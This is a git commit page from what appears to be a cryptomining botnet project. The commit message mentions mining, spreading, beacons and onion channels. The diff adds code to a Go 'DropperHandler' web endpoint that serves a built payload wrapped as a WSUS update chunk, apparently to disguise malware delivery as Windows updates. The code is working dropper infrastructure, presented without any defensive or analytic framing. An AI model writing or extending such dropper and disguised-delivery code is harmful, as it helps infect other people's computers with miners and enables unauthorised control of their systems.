Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -139,6 +139,20 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
return
}
if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
raw, err := os.ReadFile(buildPath)
if err != nil {
http.Error(w, "build read failed", http.StatusInternalServerError)
return
}
wrapped := wrapWSUSChunkPayload(raw)
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
_, _ = w.Write(wrapped)
return
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
// Content-Length is set automatically by http.ServeFile.